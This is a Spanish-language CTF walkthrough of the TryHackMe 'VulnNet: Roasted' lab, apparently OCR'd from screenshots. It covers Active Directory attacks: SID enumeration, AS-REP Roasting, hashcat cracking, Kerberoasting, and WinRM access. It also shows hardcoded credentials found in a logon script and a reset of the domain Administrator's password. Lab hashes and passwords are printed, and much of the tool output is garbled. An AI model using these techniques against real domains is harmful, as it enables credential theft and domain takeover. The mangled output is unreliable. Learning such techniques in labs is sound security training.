Write up TryHackMe VulnNet - Roasted




O- Introduccion

Esta maquina Windows implica 3 ataques de Active Directory (AS-REP Roasting,
Kerberoasting y DC Sync). Comenzamos descubriendo que tenemos acceso al recurso
$IPC de manera an6nima, lo que significa que podemos enumera los usuarios del dominio
con la ayuda de Impacket-lookupsid. Luego pasamos una lista de usuarios a Kerberos y
realizamos el ataque AS-REP Roasting. En este momento, obtenemos un hash KRB5
ASREP que descifraremos utilizando hashcat. Con las credenciales obtenidas, realizamos
un ataque de kerberoasting y obtendremos un hash KRB5 TGS, que descifraremos, para
poder acceder a la maquina victima utilizando Evil-WinRM. En este momento,
descubrimos que tenemos acceso de lectura a otro recurso compartido que contiene un
script Visual Basic que contiene credenciales codificadas que un usuario que resulta ser
el administrador del dominio. Realizaremos un ataque DC Sync para obtener el hash de
administrador e iniciar sesion en la maquina utilizando la tool Evil-WinRM.

1- Enumeracion
Comenzamos realizando un escaneo de los servicios abiertos utilizando la tool
scanports.sh.
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ssn
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2.6 JP/UPNP )

of V=
cp open

imicrosoft:windows

t any in ct results at http p.org/submit/ .
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Del escaneo con scanports, obtenemos que le nombre de dominio es vulnnet-rst.local.

elhackeretico.com | info@elhackeretico.com



Enumeracion de recursos compartidos de SMB

-~

\\\\10.10.87.126\\

Sharename Type Comment
ADMINS Disk Remote Admin
Disk Default share
IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
VulnNet-Business-Anonymous Disk VulnNet Business Sharing
VulnNet-Enterprise-Anonymous Disk VulnNet Enterprise Sharing
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.87.126 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 —— no workgroup available

Dado que IPC$ es legible, podemos enumerar usuarios de dominio utilizando la tool
impacket-lookupsid.

1 anonymousgle.10.87.126 f usernames
Password:
Impacket v@8.9.24 - Copyright 20821 SecureAuth Corporation

[*] Brute forcing SIDs
: ngBinding ncacn_np:10.10.87.126[\pipe\lsarpc]
Domqln SID is: S-1-5-21-158 344116-4136949213
VULNNET- E_TR rpri y Doma Controllers (SidTypeGroup)
VULNNET-RST® i
VULNNET-RS
VULNNET-RST !
VULNNET-RS ai ndmin5 \
VULNNET-RST\Domain Users ypeGroup)
VULNNET-RST ain Guests (5idTypeGroup)
VULNNET-RS omain Computers (SidTypeGroup)
main Controllers (SidTypeGroup)
1 (SidTypeAlias)

dTypeGroup )
) Owners (SidTypeG
VULNNET- ad-only Domain Controllers (SidTypeGroup)
VULNNET-RS eable Domain Controllers (SidTypeGroup)
VULNNET- _cted UJQIJ FﬁidT~pnGraup]
VULNNET-RS j )
(SidTypeGroup)
JeTsS [dldTypehliaz1
C Password Replication Group (5idTypeAlias)
d RODC Password Replicationm Group (SidTypeAlias)
VULNNET- JIN—'EDRMIDE1M1$ I-1dT*pﬂU;ﬂ:l
VULNNET-RSTH (SidTypeAlia
VULNNET-R5TA\DnsUpdateProxy l-1dT~pnuIDup|
VULNNET-RSTh\enterprise-core-vn (SidTypeUser)
VULNNET-RS whitehat (SidTypeUser)
VULNNET-RST? ski (5idTypeUser)
VULNNET-RS goldenhand 1dTypelser)
VULNNET-RST\j-leet (SidTypeUser)
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A

Ahora vamos a extraer los usuarios de la lista generada anteriormente.

SidTypeUser print $2 print 3% usernames

denhand

2- Explotacion

Realizar un ataque AS-REP Roasting
Podemos utilizar para ello la tool impacket-GetNPUsers, que sirve poara verificar si hay
nombres de usuario validos y que no requieran la autenticacion previa de Kerberos.

1 vulnnet- ocal/ usernames asrep_hashes.txt
Impacket v@.9.24 - Copyright ureAuth Corporation

t have UF_DONT_REQUIRE_PREAUTH set
Err ERR_CLIENT_REVOKED(Clients credentials have been revoked)

't have UF_DONT_REQUIRE_PREAUTH set
n't have UF_DONT_REQUIRE_PREAUTH set
ive UF_DONT_REQUIRE_PREAUTH set
have UF_DONT_REQUIRE_PREAUTH set
doesn't have UF_DONT_REQUIRE_PREAUTH set
Short octet stream on tag decoding

Donde obtenemos el siguiente hash:

$krb5asrep$23$t-skid@VULNNET-
RST.LOCAL:204785456¢f3880867693722bab154e2$40685324fa62fe567d9a5d5d89d9
f0d6e8e610d6cc39ad8f29ebfOelee3e1445c5362b62e20818682ad6075ee9b4b26b80ch7
141c07360ef6ab055ad662ff0fa6359843e60aabadfd5db795caca924f67867b844f386409
6d66¢95¢868c5e3dd839d6b0237caad46c456¢7370991a0fa4b55a02f9b01f836e7¢c27b28
9b266340d9f87b4cc093c5a8dd8ac3019026¢622abd8c03f3b2a0dd41b57836544ccc3e60
0e531953593b8c0994d0c0c42768f05a69ceaafc694470eb5a687560983bbfdf608032e25
f5e3a2161f6e9¢c529b99fb4bb2323e23905faf68cc5ac720a9853ab0d0a41b04c8f7bc44b3
229161a422a2a87408564€6
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Descifrando el hash KRB5 AS-REP usando hashcat

LLVM 11.1.@, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl pro
9 MB (512 MB a

th supported by
th supported b

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: @ MB

Ned Feb 16
Wed Feb 16

Hashcat pudo descifrar el hash. La contrasefia de la cuenta t-skid es tj072889*

Realizacion de Kerberoasting con las credenciales de t-skid

Dado que ahora tenemos un conjunto contrasefia-usuario valido, podemos realizar un
ataque de kerberoasting para obtener un hash KRB5 TGS para los nombres del SPN del
dominio que se utilizan para identificar las cuentas de servicio en Microsoft Windows.

8
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vulnnet-rst.l
cureAuth Corpor

Memberof

ment Users,CN=Builtin,DC

winrm
First time use de

Winde 10.@ Build 17

http://vulnne 1
[+] vulnnet-rst.1 erprise /mn: ibf ,s6h, (P

1terp

Crackmapexec dice (jPwn3d!) para WINRM, podemos iniciar sesion a traves de
EvilWinRM en la méquina objetivo. Y obtendremos la flag de usuario.
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unimplemen

Length Name

= =4 2 (=L (=) = 25 (=4 (=

iteTime

3- Escalada de privilegios

Descubrimos que tenemos acceso de lectura a los recursos compartidos smb de
NETLOGON y SYSVOL con credenciales del usuario enterprise-core-vn.

smb ent

vulnne BOBM10E1M1
n:vulnnet (signi )

[+] vulnn
[+] Enumers:

BOBM10EIM1
BOSBM10E1IM1

BOBM10EIM1
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Enter
Try "help”

wDEhuEDUP

to get a

4,125/NETLOGON

smb: \> ls

16
16
16

19:15:
19:15:
19:158:

49
49
14

Mar
Mar
Mar

Tue
Tue

*assword.vbs Tue

8540159 blocks of 4@96. 4296668 blocks available

2@ Rese
UDTlOH Explicit

NetBIOSDomain
"NTHName

Dim objRootDSE,
Dim strUserDN,

strONSDomain,
objlUser,

objTrans, str
strPassword, strUser
Constants for the NameTranslate object.

Const ADS_NAME_INITTYPE_GC 3

Const ADS_NAME_TYPE_NT4 =

Const ADS_NAME_TYPE_1779

If (Wscript.Arguments.Count

Wscript.Echo "Syntax Error. Correct
Wscript.Echo "cscript ResetPassword.vbs
Wscript.Quit

End If

syntax is:"

= "a-whitehat
"bNdHij

ermine DNS domain name from RootDSE object.

Encontramos credenciales codificadas en un script basico visual a-
whitehat:bNdKVkjv3RR9ht

vulnnet-rst.local a-whitehat

e path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemen
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USER INFORMATII

User Name

vulnnet-rst\a-whitehat S-1-5-21-1589833671-435344116-4136949213-1105

GROUP INFORMATION

Group Name

Everyon

BUILTIN\User

BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Administrators

NT AUTHORITY\NETWORK

NT AUTHORITY\Authenticated Users

NT AUTHORITY\This Organization
VULNNET-RST\Domain Admins
VULNNET-RST\Denied RODC Password Replication Group
NT AUTHORITY\NTLM Authentication

Mandatory Label\High Mandatory Level

Attributes

Well-known Mandatory group, Enabled by default,
Alias Mandatory group, Enabled by default,
Alias 5 Mandatory group, Enabled by default,
Alias 5 4 Mandatory group, Enabled by default,

ell-known group Mandatory group, Enabled by default,

11-known group Mandatory group, Enabled by default,
Well-known group S Mandatory group, Enabled by default,
Group 1 Mandatory group, Enabled by default,
Alias Mandatory group, Enabled by d ult,
Well-known group S Mandatory group, Enabled by default,
Label 6 3

Como estamos en el grupo de administradores de dominio, deberiamos poder
restablecer la contrasefia de la cuenta de administrador.

Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled

group

PS C:\Users\a-whitehat\Documents> net user Administrator Passwordl12345!
The command completed successfully.

PS C:\Users\a-whitehat\Documents> [

En este momento, podremos acceder con credenciales de administrador.

vulnnet-rst.loc

ote path com

machine

Administ
Administ

=t
|

THM{16

Administ

limitation: quoti detection_proc() function

ments> cd

Length Name

D 0Obj
ontacts
De

Y encontrar la flag system.txt.
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Local Group




